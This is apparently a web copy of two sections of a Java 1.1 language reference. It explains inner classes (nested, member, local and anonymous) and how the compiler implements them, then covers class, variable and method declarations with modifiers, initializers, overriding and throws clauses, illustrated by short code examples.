Java 1.1 provides a new feature that allows programmers to encapsulate even more functionality within objects. With the addition of inner classes to the Java language, classes can be defined as members of other classes, just like variables and methods. Classes can also be defined within blocks of Java code, just like local variables. The ability to declare a class inside of another class allows you to encapsulate auxiliary classes inside of a class, thereby limiting access to the auxiliary classes. A class that is declared inside of another class may have access to the instance variables of the enclosing class; a class declared within a block may have access to the local variable and/or formal parameters of that block.

Nested top-level classes and interfaces

A nested top-level class or interface is declared as a static member of an enclosing top-level class or interface. The declaration of a nested top-level class uses the static modifier, so you may also see these classes called static classes. A nested interface is implicitly static, but you can declare it to be static to make it explicit. Nested top-level classes and interfaces are typically used to group related classes in a convenient way.

A nested top-level class or interface functions like a normal top-level class or interface, except that the name of the nested entity includes the name of the class in which it is defined. For example, consider the following declaration:

public class Queue {
    ...
    public static class EmptyQueueException extends Exception {
    }
    ...
}

Code that calls a method in Queue that throws an EmptyQueueException can catch that exception with a try statement like this:

try {
    ...
} catch (Queue.EmptyQueueException e) {
    ...
}

A nested top-level class cannot access the instance variables of its enclosing class. It also cannot call any non-static methods of the enclosing class without an explicit reference to an instance of that class. However, a nested top-level class can use any of the static variables and methods of its enclosing class without qualification.

Only top-level classes in Java can contain nested top-level classes. In other words, a static class can only be declared as a direct member of a class that is declared at the top level, directly as a member of a package. In addition, a nested top-level class cannot declare any static variables, static methods, or static initializers.

References
Class Declarations;
Methods;
Nested Top-Level and Member Classes;
Variables

Member classes

A member class is an inner class that is declared within an enclosing class without the static modifier. Member classes are analogous to the other members of a class, namely the instance variables and methods. The code within a member class can refer to any of the variables and methods of its enclosing class, including private variables and methods.

Here is a partial definition of a Queue class that uses a member class:

public class Queue {
    private QueueNode queue;
    ...
    public Enumeration elements() {
        return new QueueEnumerator();
    }
    ...
    private class QueueEnumerator implements Enumeration {
        private QueueNode start, end;
        QueueEnumerator() {
            synchronized (Queue.this) {
                if (queue != null) {
                    start = queue.next;
                    end = queue;
                }
            }
        }
        public boolean hasMoreElements() {
            return start != null;
        }
        public synchronized Object nextElement() {
            ...
        }
    }
    private static class QueueNode {
        private Object obj;
        QueueNode next;
        QueueNode(Object obj) {
            this.obj = obj;
        }
        Object getObject() {
            return obj;
        }
    }
}

The QueueEnumerator class is a private member class that implements the java.util.Enumeration interface. The advantage of this approach is that the QueueEnumerator class can access the private instance variable queue of the enclosing Queue class. If QueueEnumerator were declared outside of the Queue class, this queue variable would need to be public, which would compromise the encapsulation of the Queue class. Using a member class that implements the Enumeration interface provides a means to offer controlled access to the data in a Queue without exposing the internal data structure of the class.

An instance of a member class has access to the instance variables of exactly one instance of its enclosing class. That instance of the enclosing class is called the enclosing instance. Thus, every QueueEnumerator object has exactly one Queue object that is its enclosing instance. To access an enclosing instance, you use the construct ClassName.this. The QueueEnumerator class uses this construct in the synchronized statement in its constructor to synchronize on its enclosing instance. This synchronization is necessary to ensure that the newly created QueueEnumerator object has exclusive access to the internal data of the Queue object.

The Queue class also contains a nested top-level, or static, class, QueueNode. However, this class is also declared private, so it is not accessible outside of Queue. The main difference between QueueEnumerator and QueueNode is that QueueNode does not need access to any instance data of Queue.

A member class cannot declare any static variables, static methods, static classes, or static initializers.

Although member classes are often declared private, they can also be public or protected or have the default accessibility. To refer to a class declared inside of another class from outside of that class, you prefix the class name with the names of the enclosing classes, separated by dots. For example, consider the following declaration:

public class A {
    public class B {
        public class C {
            ...
        }
        ...
    }
    ...
}

Outside of the class named A, you can refer to the class named C as A.B.C.

References
Class Declarations;
Field Expressions;
Methods;
Nested Top-Level and Member Classes;
Variables

Local classes

A local class is an inner class that is declared inside of a block of Java code. A local class is only visible within the block in which it is declared, so it is analogous to a local variable. However, a local class can access the variables and methods of any enclosing classes. In addition, a local class can access any final local variables or method parameters that are in the scope of the block that declares the class.

Local classes are most often used for adapter classes. An adapter class is a class that implements a particular interface, so that another class can call a particular method in the adapter class when a certain event occurs. In other words, an adapter class is Java's way of implementing a "callback" mechanism. Adapter classes are commonly used with the new event-handling model required by the Java 1.1 AWT and by the JavaBeans API.

Here is an example of a local class functioning as an adapter class:

public class Z extends Applet {
    public void init() {
        final Button b = new Button("Press Me");
        add(b);
        class ButtonNotifier implements ActionListener {
            public void actionPerformed(ActionEvent e) {
                b.setLabel("Press Me Again");
                doIt();
            }
        }
        b.addActionListener(new ButtonNotifier());
    }
    ...
}

The above example is from an applet that has a Button in its user interface. To tell a Button object that you want to be notified when it is pressed, you pass an instance of an adapter class that implements the ActionListener interface to its addActionListener() method. A class that implements the ActionListener interface is required to implement the actionPerformed() method. When the Button is pressed, it calls the adapter object's actionPerformed() method. The main advantage of declaring the ButtonNotifier class in the method that creates the Button is that it puts all of the code related to creating and setting up the Button in one place.

As the preceding example shows, a local class can access local variables of the block in which it is declared. However, any local variables that are accessed by a local class must be declared final. A local class can also access method parameters and the exception parameter of a catch statement that are accessible within the scope of its block, as long as the parameter is declared final. The Java compiler complains if a local class uses a non-final local variable or parameter. The lifetime of a parameter or local variable is extended indefinitely, as long as there is an instance of a local class that refers to it.

References
Blocks;
Class Declarations;
Local Classes;
Local Variables;
Method formal parameters;
Methods;
The try Statement;
Variables

Anonymous classes

An anonymous class is a kind of local class that does not have a name and is declared inside of an allocation expression. As such, an anonymous class is a more concise declaration of a local class that combines the declaration of the class with its instantiation.

Here is how you can rewrite the previous adapter class example to use an anonymous class instead of a local class:

public class Z extends Applet {
    public void init() {
        final Button b = new Button("Press Me");
        add(b);
        b.addActionListener(new ActionListener () {
            public void actionPerformed(ActionEvent e) {
                b.setLabel("Press Me Again");
            }
        } );
    }
    ...
}

As you can see, an anonymous class is declared as part of an allocation expression. If the name after new is the name of an interface, as is the case in the preceding example, the anonymous class is an immediate subclass of Object that implements the given interface. If the name after new is the name of a class, the anonymous class is an immediate subclass of the named class.

Obviously, an anonymous class doesn't have a name. The other restriction on an anonymous class is it can't have any constructors other than the default constructor. Any constructor-like initialization must be done using an instance initializer. Other than these differences, anonymous classes function just like local classes.

References
Allocation Expressions;
Class Declarations;
Instance Initializers;
Object

Implementation of inner classes

It is possible to use inner classes without knowing anything about how they are implemented. However, a high-level understanding can help you comprehend the filenames that the compiler produces, and also some of the restrictions associated with inner classes. The implementation of inner classes is less than transparent in a number of ways, primarily because the Java virtual machine does not know about inner classes. Instead, the Java compiler implements inner classes by rewriting them in a form that does not use inner classes. The advantage of this approach is that the Java virtual machine does not require any new features to be able to run programs that use inner classes.

Since a class declared inside another class is rewritten by the compiler as an external class, the compiler must give it a name unique outside of the class in which it is declared. The unique name is formed by prefixing the name of the inner class with the name of the class in which it is declared and a dollar sign ($). Thus, when the Queue class is compiled, the Java compiler produces four .class files:

  • Queue.class

  • Queue$EmptyQueueException.class

  • Queue$QueueEnumerator.class

  • Queue$QueueNode.class

Because anonymous classes do not have names, the Java compiler gives each anonymous class a number for a name; the numbers start at 1. When the version of the Z applet that uses an anonymous class is compiled, the Java compiler produces two .class files:

  • Z.class

  • Z$1.class

In order to give an inner class access to the variables of its enclosing instance, the compiler adds a private variable to the inner class that references the enclosing instance. The compiler also inserts a formal parameter into each constructor of the inner class and passes the reference to the enclosing instance using this parameter. Therefore, the QueueEnumerator class is rewritten as follows:

class Queue$QueueEnumerator implements Enumeration {
    private Queue this$0;
    private QueueNode start, end;
    QueueEnumerator(Queue this$0) {
        this.this$0 = this$0;
        synchronized (this$0) {
            if (queue != null) {
                start = queue.next;
                end = queue;
            }
        }
    }
    ...
}

As you can see, the compiler rewrites all references to the enclosing instance as this$0. One implication of this implementation is that you cannot pass the enclosing instance as an argument to its superclass's constructor because this$0 is not available until after the superclass's constructor returns.

Previous | Home | Next
Lexical Scope of Declarations | Book Index | Class Declarations
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.4 Class Declarations

Java Language Reference

Previous Chapter 5
Declarations 		Next

5.4 Class Declarations

A class declaration creates a reference type in Java. The class declaration also specifies the implementation of the class, including its variables, constructors, and methods. The formal definition of a class declaration is:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

[Graphic: Figure from the text]

While the above diagram may seem complicated, a class declaration is really made up of six distinct things:

  • Optional modifiers that specify attributes of the class

  • The keyword class

  • An identifier that names the class

  • An optional extends clause that specifies the superclass of the declared class

  • An optional implements clause that specifies the interfaces implemented by the declared class

  • Any number of member declarations, which can include variables, methods, constructors, static initializers, instance initializers, nested top-level classes and interfaces, and member classes

References
Classes;
ClassOrInterfaceName 4.1.6;
Class Members;
Identifiers

Class Modifiers

The keywords public, abstract, and final can appear as modifiers at the beginning of a class declaration. In this situation, these modifiers have the following meanings:[3]

[3] Version 1.0 of Java included a private protected access specification; this specification has been removed as of version 1.0.2 of the language.

public

If a class is declared public, it can be referenced by any other class. If the public modifier is not used, however, the class can only be referenced by other classes in the same package. A single source file, or compilation unit, can only declare one public class or interface (see Compilation Units for an exception to this rule).

abstract

If a class is declared abstract, no instances of the class may be created. A class declared abstract may contain abstract methods. Classes not declared abstract may not contain abstract methods and must override any abstract methods they inherit with methods that are not abstract. Furthermore, classes that implement an interface and are not declared abstract must contain or inherit methods that are not abstract that have the same name, number of parameters, and corresponding parameter types as the methods declared in the interfaces that the class implements.

final

If a class is declared final, it cannot be subclassed. In other words, it cannot appear in the extends clause of another class.

You want to declare a class final if it is important to ensure the exact properties and behavior of that class. Many of the classes in the java.lang package are declared final for that reason. In addition, the compiler can often optimize operations on final classes. For example, the compiler can optimize operations involving the String class because it can safely assume the exact logic of String methods. The compiler does not have to account for the possibility of methods of a final class being overridden in a subclass.

References
Compilation Units;
Inner class modifiers;
Local class modifiers;
Method modifiers;
Variable modifiers

Class Name

The identifier that follows the keyword class is the name of the class. This identifier can be used as a reference type wherever the class is accessible.

References Class Types

Class Inheritance

The extends clause specifies the superclass of the class being declared. If a class is declared without an extends clause, the class Object is its implicit superclass. The class inherits all of the accessible methods and variables of its superclass.

If a class is declared final, it cannot appear in an extends clause for any other class.

The implements clause specifies any interfaces implemented by the class being declared. Unless it is an abstract class, the class (or one of its superclasses) must define implementations for all of the methods declared in the interfaces.

References
Inheritance;
Interfaces;
Interface Declarations;
Object

Class Members

Fields are the variables, methods, constructors, static (load-time) initializers, instance initializers, nested top-level classes and interfaces, and member classes that are declared as part of a class:

[Graphic: Figure from the text]

A member declaration causes the member to be defined throughout the entire class and all of its subclasses. This means that it is not a problem to have forward references to members, or in other words, you can use members in a class before you have defined them. For example:

class foo {
    void doIt() {
        countIt();
    }
    void countIt() {
        i++;
    }
    int i;
}

References
Constructors;
Nested Top-Level and Member Classes;
Nested Top-Level Interfaces;
Instance Initializers;
Methods;
Static Initializers;
Variables

Variables

A variable that is declared as a member in a class is called a field variable. A field variable is different from a local variable, which is declared within a method or a block. The formal definition of a variable declaration is:

[Graphic: Figure from the text]

While the above diagram may seem complicated, a variable declaration is really made up of four distinct things:

  • Optional modifiers that specify attributes of the variable.

  • A type, which can be either a primitive type or a reference type.

  • Any number of identifiers that name variables. Each name can be followed by pairs of square brackets to indicate an array variable.

  • An optional initializer for each variable declared.

Here are some examples of variable declarations:

int x;
public static final double[] k, m[];

References
Variable initializers;
Expression 4;
Identifiers;
Local Variables;
Type 3

Variable modifiers

The modifiers public, protected, and private can be used in the declaration of a field variable to specify the accessibility of the variable. In this situation, the modifiers have the following meanings:[4]

[4] Version 1.0 of Java included a private protected access specification; this specification has been removed as of version 1.0.2 of the language.

public

A field variable that is declared public is accessible from any class.

protected

A field variable that is declared protected is accessible to any class that is part of the same package as the class in which the variable is declared. Such a field variable is also accessible to any subclass of the class in which it is declared; this occurs regardless of whether or not the subclass is part of the same package.

private

A field variable that is declared private is only accessible in the class in which it is declared. Such a field variable is not accessible to other classes. In particular, a field variable that is declared private is not accessible in subclasses of the class in which it is declared.

If a field variable is not declared with any of the access modifiers, the variable has the default accessibility. Default access is often called "friendly" access because it is similar to friendly access in C++. A variable with default access is accessible in any class that is part of the same package as the class in which the variable is declared. However, a friendly variable is not accessible to classes outside of the package in which it is declared, even if the desired classes are subclasses of the class in which it is declared.

The keywords static, final, transient, and volatile can also be used in the declaration of a field variable. These modifiers have the following meanings:

static

A field variable that is declared with the static modifier is called a class variable. There is exactly one copy of each class variable associated with the class; every instance of the class shares the single copy of the class's static variables. Thus, setting the value of a class variable changes the value of the variable for all objects that are instances of that class or any of its subclasses.

For example, if you want to count how many instances of a class have been instantiated, you can write:

class Foo {
    ...
    static int fooCount = 0;
    Foo() {
        fooCount++;
    }
    ...
}

A field variable that is not declared with the static modifier is called an instance variable. There is a distinct copy of each instance variable associated with every instance of the class. Thus, setting the value of an instance variable in one object does not affect the value of that instance variable in any other object.

final

If a field variable is declared with the final modifier, the variable is a named constant value. As such, it must be assigned an initial value. Any assignment to a final variable, other than the one that provides its initial value, is a compile-time error. The initial value for a final variable is typically provided by an initializer that is part of the variable's declaration. For example:

final int X = 4;

A final field variable that is not initialized in its declaration is called a blank final. Blank finals are not supported prior to Java 1.1. A blank final that is declared static must be assigned a value exactly once in a static initializer. A blank final that is not declared static must be assigned a value exactly once in an instance initializer or exactly once in each constructor. The compiler uses flow analysis that takes if statements and iteration statements into account to ensure that a blank final is assigned a value exactly once. Thus, it is possible to have multiple assignments to a blank final, so long as exactly one of them can be executed. For example, here is an instance initializer that sets the value of a blank final:

{
    final int DAYS_IN_YEAR;
    if (isLeapYear(new Date()))
        DAYS_IN_YEAR = 366;
    else
        DAYS_IN_YEAR = 365;
    ...
}

Note that the meaning of final in a variable declaration is very different from the meaning of final in a method or class declaration. In particular, if a class contains a final variable, you can declare a variable with the same name in a subclass of that class without causing an error.

transient

The transient modifier is used to indicate that a field variable is not part of the persistent state of an object. The java.io.ObjectOutputStream class defines write() methods that output a representation of an object that can be read later to create a copy of the object. These write() methods do not include field variables that are declared transient in the representation of an object.

volatile

The volatile modifier is used to tell the compiler that a field variable will be modified asynchronously by methods that are running in different threads. Each time the variable is accessed or set, it is fetched from or stored into global memory in a way that avoids the assumption that a version of the variable in a cache or a register is consistent with the version in global memory.

References
Class Modifiers;
Inner class modifiers;
Local class modifiers;
Method modifiers

Variable type

A field variable declaration must always specify the type of the variable. If the declaration of a field variable uses a primitive type, the variable contains a value of the specified primitive type. If the declaration uses a reference type, the variable contains a reference to the specified type of object.

The presence of square brackets in a variable declaration, after either the type or variable name, indicates that the variable contains a reference to an array. For example:

int a[];        // a is an array of int
int[] b;        // b is also an array of int

It is also possible to declare a variable to contain an array of arrays, or more generally, arrays nested to any level. Each pair of square brackets in the declaration corresponds to a dimension of the array; it makes no difference whether the brackets appear after the type or the variable name. For example:

int[][][] d3;      // Each of these is an array of
int[][] f3[];      // arrays of arrays of integers
int[] g3[][];
int h3[][][];
int[] j3, k3[];    // An array and an array of arrays

References Array Types; Primitive Types; Reference Types

Variable name

The identifier that follows the variable type is the name of the variable. This identifier can be used anywhere that the variable is accessible.

It is an error to declare two field variables with the same name in the same class. It is also an error to declare a field variable with the same name as a method declared in the same class or any of its superclasses.

If a field variable is declared with the same name as a variable declared in a superclass, the variable in the superclass is considered to be shadowed. If a variable is shadowed in a class, it cannot be accessed as a field of that class. However, a shadowed variable can be accessed by casting a reference to an object of that class to a reference to the appropriate superclass in which the variable is not shadowed. For example:

class A {
    int x = 4;
}
class B extends A {
    int x = 7;
    B () {
        int i = x;              // i gets the value of B's x
        int h = ((A)this).x;    // h gets the value of A's x
    }
}

Alternatively, if a variable is shadowed in a class but not in its immediate superclass, the methods of the class can access the shadowed variable using the keyword super. In the above example, this would look as follows:

int h = super.x;        // h gets the value of A's x

If a method is declared with the same name and parameters as a method in a superclass, the method in the superclass is considered to be overridden. Note that variable shadowing is different than method overriding. The most important difference is that using a reference to an instance of an object's superclass does not provide access to overridden methods. Overriding is described in detail in Method name.

References
Field Expressions;
Identifiers;
Inheritance;
Method name

Variable initializers

A variable declaration can contain an initializer. However, if a variable is declared to be final, it must either have an initializer or be initialized exactly once in a static initializer, instance initializer, or constructor. If the variable is of a non-array type, the expression in the initializer is evaluated and the variable is set to the result of the expression, as long as the result is assignment-compatible with the variable. If the variable is of an array type, the initializer must be an array initializer:

[Graphic: Figure from the text]

Each expression or array initializer in an array initializer is evaluated and becomes an element of the array produced by the initializer. The variable is set to the array produced by the initializer, as long as the assignment is assignment-compatible. Here are some examples of actual array initializers:

short a[] = {2,5,8,2,11};    // array of 5 shorts
int s[][] = { {3,45,8},      // array of 4 arrays
              {12,9,33},     // of 3 ints
              {7,22,53},
              {33,1,2} };

Note that a trailing comma is allowed within an array initializer. For example, the following is legal:

int x[] = {2,23,4,};

Any initializers for class variables (i.e., static variables) are evaluated when the class is loaded. The initializer for a class variable cannot refer to any instance variables in the class. An initializer for a static variable cannot refer to any static variables that are declared after its own declaration. The initial value of a class variable can also be set in a static initializer for the class; static initializers are described in Static Initializers.

Any initializers for instance variables are evaluated when a constructor for the class is called to create an instance of the class. Every class has at least one constructor that explicitly or implicitly calls one of the constructors of its immediate superclass before it does anything else. When the superclass's constructor returns, any instance variable initializers (and instance initializers) are evaluated before the constructor does anything else. The initial value of an instance variable can also be set in an instance initializer; instance initializers are described in Instance Initializers. Of course, it is also possible to set the initial values of instance variables explicitly in a constructor. Constructors are described in Constructors.

If a variable declaration does not contain an initializer, the variable is set to a default value. The actual value is determined by the variable's type. Table 5-1 shows the default values used for the various types in Java.

Table 5.1: Default Values for Field Variables
Type | Default Value
byte | 0
char | '\u0000'
short | 0
int | 0
long | 0L
float | 0.0F
double | 0.0
boolean | false
Object reference | null

For an array, every element of the array is set to the appropriate default value, based on the type of elements in the array.

Here are some examples of variable declarations, with and without initializers:

int i,j;                 // initialized to zero
long k = 243L;
double d = k*1.414;
String s;                // initialized to null
char c[] = new char[123];
float f[] = { 3.2f, 4.7f, 9.12f, 345.9f};
Double dbl = new Double(382.3748);
java.io.File fl = new File("/dev/null");
Object o = fl;

References
Array Types;
Assignment Operators;
Constructors;
Expression 4;
Instance Initializers;
Static Initializers;
Variable modifiers

Methods

A method is a piece of executable code that can be called as a subroutine or a function. A method can be passed parameters by its caller; the method can also return a result to its caller. In Java, a method can only be declared as a field in a class. The formal definition of a method declaration is:

[Graphic: Figure from the text]

While the above diagram may seem complicated, a method declaration is really made up of six distinct things:

  • Optional modifiers that specify attributes of the method

  • A type that specifies the type of value returned by the method

  • An identifier that names the method

  • A list of formal parameters that specifies the values that are passed to the method

  • An optional throws clause that specifies any exceptions that can be thrown by the method

  • A block that defines the functionality of the method

Here are some examples of method declarations:

public static void main(String[] argv) {
    System.out.println( argv[0] );
}
int readSquare(DataInputStream d) throws IOException {
    int i = d.readInt();
    return i*i;
}
int filledArray(int length, int value) [] {
    int [] array = new int [length];
    for (int i = 0; i < length; i++ ) {
        array[i] = value;
    }
    return array;
}

Unlike C/C++, Java only allows method declarations that fully specify the type and number of parameters that the method can be called with.

References
Blocks;
ClassOrInterfaceName 4.1.6;
Exception Handling 9;
Method formal parameters;
Identifiers;
Type 3

Method modifiers

The modifiers public, protected, and private can be used in the declaration of a method to specify the accessibility of the method. In this situation, the modifiers have the following meanings:

public

A method that is declared public is accessible from any class.

protected

A method that is declared protected is accessible in any class that is part of the same package as the class in which the method is declared. Such a method is also accessible to any subclass of the class in which it is declared, regardless of whether or not the subclass is part of the same package.

private

A method that is declared private is only accessible in the class in which it is declared. Such a method is not accessible in other classes. In particular, a method that is declared private is not accessible in subclasses of the class in which it is declared. A method cannot be declared both private and abstract.

If a method is not declared with any of the access modifiers, it has the default accessibility. Default access is often called "friendly" access because it is similar to friendly access in C++. A method with default access is accessible in any class that is part of the same package as the class in which the method is declared. However, a friendly method is not accessible to classes outside of the package in which it is declared, even if the classes are subclasses of the class in which it is declared.

The keywords static, final, abstract, native, and synchronized can also be used in the declaration of a method. These modifiers have the following meanings:

static

A method that is declared with the static modifier is called a class method. Class methods are not associated with an instance of a class. This means that a class method cannot directly refer to other, non-static methods or variables in its class, unless the method or variable is accessed through an explicit object reference. In addition, the keywords this and super are treated as undefined variables within static methods. A method that is declared static is also implicitly final, or in other words, static methods cannot be overridden. A method that is declared static cannot also be declared abstract.

Because static methods are not associated with a class instance, you do not need an instance of a class to invoke such a method. For example, the Math class contains a collection of mathematical methods that can be called using the class name:

Math.tan(x)

A method that is not declared with the static modifier is called an instance method. Instance methods are associated with an instance of a class, so an instance method may contain direct references to any other methods or variables in its class.

final

A method that is declared with the final modifier cannot be overridden. In other words, if a method in a class is declared final, no subclass of that class can declare a method with the same name, number of parameters, and parameter types as the final method. Although final methods cannot be overridden, declaring a method to be final in no way prevents it from being overloaded.

abstract

If a method is declared with the abstract modifier, the declaration must end with a semicolon rather than a block. An abstract method declaration specifies the name, number and type of parameters, and return type of the method; it does not specify the implementation of the method. If a class contains an abstract method, the class must also be declared abstract. If a non-abstract class inherits an abstract method, the class must override the method and provide an implementation.

An abstract method cannot also be declared either private or static because neither private nor static methods can be overridden. A private method cannot be overridden because it is not inherited by its subclasses; a static method cannot be overridden because it is implicitly final.

native

If a method is declared with the native modifier, the declaration must end with a semicolon rather than a block. A native method is implemented in a platform-specific way using a language other than Java, such as C++. Because the implementation of a native method is not done in Java, Java requires the semicolon in place of an implementation.

Because the implementation of a native method is platform-specific, you should avoid using native methods in classes that are expected to run on different kinds of clients. Native methods also require an installation process, which is another reason to avoid them for use on clients.

synchronized

If a method is declared with the synchronized modifier, a thread must obtain a lock before it can invoke the method. If the method is not declared static, the thread must obtain a lock associated with the object used to access the method. If the method is declared static, the thread must obtain a lock associated with the class in which the method is declared.

A synchronized method is one of two mechanisms for providing single-threaded access to the contents of a class or object. The other mechanism is the synchronized statement. Of the two, a synchronized method is usually the preferred mechanism. If all access to instance data that is shared by multiple threads is through synchronized methods, the integrity of the instance data is guaranteed, no matter what the callers of the methods do. On the other hand, if instance data shared by multiple threads is directly accessible outside of the class that defines it or its subclasses, providing single-threaded access to the data requires the use of synchronized statements.

References
Class Modifiers;
Inner class modifiers;
Local class modifiers;
Variable modifiers

Method return type

A method declaration must always specify the type of value returned by the method. The return value can be of a primitive type or of a reference type. If the method does not return a value, it should be declared with its return type specified as void. The return type comes before the name of the method in the method declaration.

The presence of square brackets in a method declaration, after either the return type or the formal parameters, indicates that the method returns a reference to the specified type of array.

For example:

int a()[] {...};        // a returns an array of int
int[] b() {...};        // b also returns an array of int

It is also possible to declare that a method returns a reference to an array of arrays, or more generally, arrays nested to any level. Each pair of square brackets in the declaration corresponds to a dimension of the array; it makes no difference whether the brackets appear after the return type or the formal parameters. For example:

int[][][] d3() {...};    // Each of these returns an array of
int[][] f3()[] {...};    // arrays of arrays of integers
int[] g3()[][] {...};
int h3()[][][] {...};

If a method is declared with the void return type, any return statement that appears within the method must not contain a return value. Because a method with a void return type does not return a value, such a method can only be called from an expression statement that consists of a method call expression.

On the other hand, if a method is declared with a return type other than void, it must return through an explicit return statement that contains a return value that is assignment-compatible with the return type of the method.

References
Array Types;
Expression Statements;
Primitive Types;
Reference Types;
The return Statement

Method name

The identifier that follows the return type is the name of the method. This identifier can be used anywhere that the method is accessible.

It is an error to declare two methods that have the same name, the same number of parameters, and the same type for each corresponding parameter in the same class. It is also an error to declare a method with the same name as a variable declared in the same class or any of its superclasses.

A method is said to be overloaded if there is more than one accessible method in a class with the same name, but with parameters that differ in number or type.[5] This situation can arise if two or more such methods are declared in the same class. It can also occur when at least one of the methods is defined in a superclass and the rest are in a subclass.

[5] Although Java supports overloaded methods, it does not allow programs to define overloaded operators. While it is true that the + operator is defined in an overloaded way, that operator is part of the language specification and it is the only overloaded operator.

Overloaded methods aren't required to have the same return type. For example:

int max(int x, int y){return x>y ? x : y;}
double max(double x, double y){return x>y ? x : y;}

A method that is inherited from a superclass is said to be overridden if a method in the inheriting class has the same name, number of parameters, and types of parameters as the inherited method. If the overridden method returns void, the overriding method must also return void. Otherwise, the return type of the overriding method must be the same as the type of the overridden method.

An overriding method can be more accessible than the overridden method, but it cannot be less accessible. In other words, a subclass cannot hide things that are visible in its superclass, but it can make visible things that are hidden. An object is considered to be an instance of its own class, as well as an instance of each of its superclasses. As a result, you can use an object reference to call a method in an object and not worry about whether the object is actually an instance of a subclass of the type of the reference. If a subclass were allowed to override methods of its superclass with methods that were less accessible, you would no longer be able to use a reference without regard to the actual type of the object being referenced.

For example, Object is the superclass of String. This means that a variable declared to contain a reference to an Object may actually refer to a String. The Object class defines a public method called hashCode(), so a reference to the Object class can be used to call the hashCode() method of whatever subclass of Object it refers to. Allowing a subclass of Object to declare a private hashcode() method would be inconsistent with this usage.

Table 5-2 shows the access modifiers that are permitted for an overriding method, based on the access allowed for the overridden method.

Table 5.2: Permitted Access Modifiers for Overriding Methods
 |  | Access declared for overridden method
 |  | no modifier | protected | public
Access for overriding method | private | not allowed | not allowed | not allowed
 | no modifier | allowed | not allowed | not allowed
 | protected | allowed | allowed | not allowed
 | public | allowed | allowed | allowed

If a method in the superclass is declared private, it is not inherited by the subclass. This means that a method in the subclass that has the same name, number of parameters, and types of parameters does not override the private method in the superclass. As a result, the method in the subclass can have any return type and there are no restrictions on its accessibility.

Non-static methods must be called through an object reference. If a non-static method is called with no explicit object reference, it is implicitly called using the object reference this. At compile-time, the type of the object reference is used to determine the combinations of method names and parameters that are accessible to the calling expression (see Method Call Expression). At runtime, however, the actual type of the object determines which of the methods is called. If the actual object is an instance of a subclass of the referenced class and the subclass overrides the method being called, the overriding method in the subclass is invoked.

In other words, the actual type of the object is used to determine which method to call, not the type of the reference to that object. This means that you cannot simply cast an object reference to a superclass of the class of the actual object to call to an overridden method. Instead, you use the keyword super to access an overridden method in the superclass. For example:

class A {
    void doit() {
        ...
    }
}
class B extends A {
    void doit() {
        super.doit();      // calls overridden A.doit()
    }
    public static void main(String argv[]) {
        B b = new B();
        ((A)b).doit();     // calls B.doit()
    }
}

The doit() method in class B calls the overridden doit() method in class A using the super construct. But, in main(), the doit() method in class B is invoked because casting a reference does not provide access to overridden methods.

References
Identifiers;
Inheritance;
Method Call Expression;
Variable name

Method formal parameters

The formal parameters in a method declaration specify a list of variables to which values are assigned when the method is called:

[Graphic: Figure from the text]

Within the block that contains the implementation of the method, the method's formal parameters are treated as local variables; the name of each formal parameter is available as an identifier in the method's implementation. Formal parameters differ from local variables only in that their declaration and value come from outside the method's block.

If a formal parameter is declared final, any assignment to that parameter generates an error. The syntax for declaring final parameters is not supported prior to Java 1.1.

If a method has no formal parameters, the parentheses must still appear in the method declaration.

Here's an example of a method declaration with formal parameters:

abstract int foo(DataInputStream d, Double[] values, int weights[]) ;

The presence of square brackets in a formal parameter declaration, either as part of a reference type or after the name of a formal parameter, indicates that the formal parameter is an array type. For example:

foo(int a[],    // a is an array of int
    int[] b)    // b is also an array of int

It is also possible to declare that a formal parameter is an array of arrays, or more generally, arrays nested to any level. Each pair of square brackets in the declaration corresponds to a dimension of the array; it makes no difference whether the brackets appear with the type or after the name of the formal parameter. For example:

int[][][] d3        // Each of these is an array of
int[][] f3[]        // arrays of arrays of integers
int[] g3[][]
int h3[][][]

References
Array Types;
Blocks;
Identifiers;
Local Variables;
Type 3

Method throws clause

If a method is expected to throw any exceptions, the method declaration must declare that fact in a throws clause. Java requires that most types of exceptions either be caught or declared, so bugs caused by programmers forgetting to handle particular types of exceptions are uncommon in Java programs.

If a method implementation contains a throw statement, or if the method calls another method declared with a throws clause, there is the possibility that an exception will be thrown from within the method. If the exception is not caught, it will be thrown out of the method to its caller. Any exception that can be thrown out of a method in this way must be listed in a throws clause in the method declaration, unless the exception is an instance of Error, RuntimeException, or a subclass of one of those classes. Subclasses of the Error class correspond to situations that are not easily predicted, such as the system running out of memory. Subclasses of RuntimeException correspond to many common runtime problems, such as illegal casts and array index problems. The classes listed in a throws clause must be Throwable or any of its subclasses; the Throwable class is the superclass of all objects that can be thrown in Java.

Consider the following example:

import java.io.IOException;
class throwsExample {
    char[] a;
    int position;
    ...
    // Method explicitly throws an exception
    int read() throws IOException {
        if (position >= a.length)
            throw new IOException();
        return a[position++];
    }
    // Method implicitly throws an exception
    String readUpTo(char terminator) throws IOException {
        StringBuffer s = new StringBuffer();
        while (true) {
            int c = read(); // Can throw IOException
            if (c == -1 || c == terminator) {
                return s.toString();
            }
            s.append((char)c);
        }
        return s.toString():
    }
    // Method catches an exception internally
    int getLength() {
        String s;
        try {
            s = readUpTo(':');
        } catch (IOException e) {
            return 0;
        }
        return s.length();
    }
    // Method can throw a RuntimeException
    int getAvgLength() {
        int count = 0;
        int total = 0;
        int len;
        while (true){
            len = getLength();
            if (len == 0)
                break;
            count++;
            total += len;
        }
        return total/count; // Can throw ArithmeticException
    }
}

The method read() can throw an IOException, so it declares that fact in its throws clause. Without that throws clause, the compiler would complain that the method must either declare IOException in its throws clause or catch it. Although the readUpTo() method does not explicitly throw any exceptions, it calls the read() method that does throw an IOException, so it declares that fact in its throws clause. Whether explicitly or implicitly thrown, the requirement to catch or declare an exception is the same. The getLength() method catches the IOException thrown by readUpTo(), so it does not have to declare the exception. The final method, getAvgLength(), can throw an ArithmeticException if count is zero. Because ArithmeticException is a subclass of RuntimeException, the fact that it can be thrown out of getAvgLength() does not need to be declared.

If a method overrides another method, the overriding method cannot throw anything that the overridden method does not throw. Specifically, if the declaration of a method contains a throws clause, any method that overrides that method cannot include any classes in its throws clause that are not declared in the overridden method. This restriction avoids surprises. When a method is called, the Java compiler requires that all of the objects listed the method's throws clause are either caught by the calling method or declared in the calling method's throws clause. The requirement that an overriding method cannot include any class in its throws clause that is not in the overridden method's throws clause ensures that the guarantee made by the compiler is respected by the runtime environment.

References Exception Handling 9; The throw Statement; The try Statement

Method implementation

A method declaration must end with either a block or a semicolon. If either the abstract or native modifier is used in the declaration, the declaration must end with a semicolon. All other method declarations must end with a block that defines the implementation of the method.

References Blocks; Method modifiers

